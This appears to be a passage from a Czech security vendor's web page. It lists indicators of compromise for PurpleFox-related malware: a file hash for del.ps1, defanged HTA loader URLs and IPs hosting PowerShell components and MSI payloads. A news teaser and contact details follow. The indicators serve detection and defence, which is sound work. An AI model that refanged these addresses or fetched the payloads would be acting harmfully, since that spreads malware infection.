7D0487AFC91B0FE8B2FBF732AB54C3C07E86BF69471BBA6C283AABEA190499BASHA256del.ps1
185[.]208[.]159[.]199IPIP hostující checking.ps1
87[.]96[.]21[.]84IPIP hostující další komponenty
hxxps[://]asq[.]d6shiiwz[.]pw/win/hssl/d6[.]htaURLHTA zavaděč
hxxps[://]asd[.]s7610rir[.]pw/win/checking[.]htaURLHTA zavaděč
hxxps[://]d1[.]pool4883[.]pw/win/hssl/r7[.]htaURLHTA zavaděč
hxxp[://]us1[.]somepools555[.]pw/win/checking[.]htaURLHTA zavaděč
PurpleFox
IndikátorTypPopis
58[.]221[.]252[.]210IPUmístění MSI PurpleFox
60[.]173[.]116[.]152IPUmístění MSI PurpleFox
61[.]136[.]101[.]152IPUmístění MSI PurpleFox
61[.]147[.]108[.]92IPUmístění MSI PurpleFox
89[.]117[.]2[.]159IPUmístění MSI PurpleFox
100[.]1[.]121[.]27IPUmístění MSI PurpleFox
103[.]36[.]223[.]87IPUmístění MSI PurpleFox
103[.]55[.]70[.]212IPUmístění MSI PurpleFox
103[.]83[.]212[.]194IPUmístění MSI PurpleFox
103[.]115[.]17[.]90IPUmístění MSI PurpleFox
103[.]113[.]195[.]244IPUmístění MSI PurpleFox
107[.]175[.]187[.]11IPUmístění MSI PurpleFox
110[.]42[.]51[.]229IPUmístění MSI PurpleFox
110[.]45[.]196[.]155IPUmístění MSI PurpleFox
122[.]165[.]219[.]142IPUmístění MSI PurpleFox
156[.]224[.]232[.]98IPUmístění MSI PurpleFox
157[.]66[.]153[.]154IPUmístění MSI PurpleFox
173[.]208[.]166[.]226IPUmístění MSI PurpleFox
187[.]102[.]48[.]229IPUmístění MSI PurpleFox
190[.]111[.]12[.]242IPUmístění MSI PurpleFox
193[.]112[.]70[.]226IPUmístění MSI PurpleFox
201[.]138[.]238[.]195IPUmístění MSI PurpleFox
204[.]44[.]110[.]216IPUmístění MSI PurpleFox
222[.]73[.]29[.]92IPUmístění MSI PurpleFox

Novinky ze světa kyberbezpečnosti

Všechny články
Skupina mladých lidí drží mobilní telefonyRodina a soukromí

Co mají rodiče vědět o trendu Cat in the Hat

Strašidelné příspěvky někdy používají skutečné školy a jména dětí. Jak reagovat, uchovat důkazy a chránit soukromí bez zbytečného strašení.

Kontaktujte nás

Potřebujete pomoci s výběrem licence, testováním nebo správou Bitdefender GravityZone? Zavolejte nám nebo napište.

Telefon+420 222 220 051 E-mailbitdefender@viruslab.cz